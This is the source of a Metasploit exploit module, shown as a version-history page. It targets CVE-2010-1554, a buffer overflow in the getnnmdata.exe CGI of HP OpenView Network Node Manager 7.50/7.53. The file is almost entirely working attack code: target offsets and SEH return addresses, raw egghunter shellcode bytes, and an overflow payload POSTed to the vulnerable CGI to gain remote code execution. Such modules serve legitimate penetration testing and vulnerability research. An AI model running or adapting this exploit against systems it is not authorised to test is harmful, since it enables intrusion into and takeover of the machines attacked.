metasploit-framework/modules/exploits/windows/http/hp_nnm_getnnmdata_icount.rb

86 lines
2.5 KiB
Ruby
Raw Normal View History

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
2013-08-30 21:28:54 +00:00
Rank = GreatRanking
2013-08-30 21:28:54 +00:00
HttpFingerPrint = { :method => 'HEAD', :uri => '/OvCgi/getnnmdata.exe', :pattern => /Hewlett-Packard Development Company/ }
2013-08-30 21:28:54 +00:00
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::Seh
2013-08-30 21:28:54 +00:00
def initialize(info = {})
super(update_info(info,
'Name' => 'HP OpenView Network Node Manager getnnmdata.exe (ICount) CGI Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in HP OpenView Network Node Manager 7.50/7.53.
By sending specially crafted ICount parameter to the getnnmdata.exe CGI,
an attacker may be able to execute arbitrary code.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2010-1554' ],
[ 'OSVDB', '64976' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Privileged' => false,
'Payload' =>
{
'Space' => 750,
'BadChars' => "\x00",
'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
'DisableNops' => 'True',
'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
'EncoderOptions' =>
{
'BufferRegister' => 'ECX',
},
},
'Platform' => 'win',
'Targets' =>
[
[ 'HP OpenView Network Node Manager 7.50', { 'Offset' => 7582, 'Ret' => 0x5a01f277 } ],
[ 'HP OpenView Network Node Manager 7.53', { 'Offset' => 2052, 'Ret' => 0x5a666d69 } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'May 11 2010'))
end
2013-08-30 21:28:54 +00:00
def exploit
2013-08-30 21:28:54 +00:00
egg = rand_text_alpha_upper(4)
2013-08-30 21:28:54 +00:00
hunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
hunter << "\xef\xb8" + egg + "\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
2013-08-30 21:28:54 +00:00
boom = rand_text_alpha_upper(target['Offset'])
boom << generate_seh_record(target.ret)
boom << hunter + egg + egg
boom << payload.encoded
boom << rand_text_alpha_upper(9024 - payload.encoded.length)
2013-08-30 21:28:54 +00:00
sploit = "SnmpVals=&ICount=-9#{boom}"
2013-08-30 21:28:54 +00:00
print_status("Trying target #{target.name}...")
2013-08-30 21:28:54 +00:00
send_request_cgi({
'uri' => '/OvCgi/getnnmdata.exe',
'method' => 'POST',
'data' => sploit
}, 8)
2013-08-30 21:28:54 +00:00
handler
2013-08-30 21:28:54 +00:00
end
end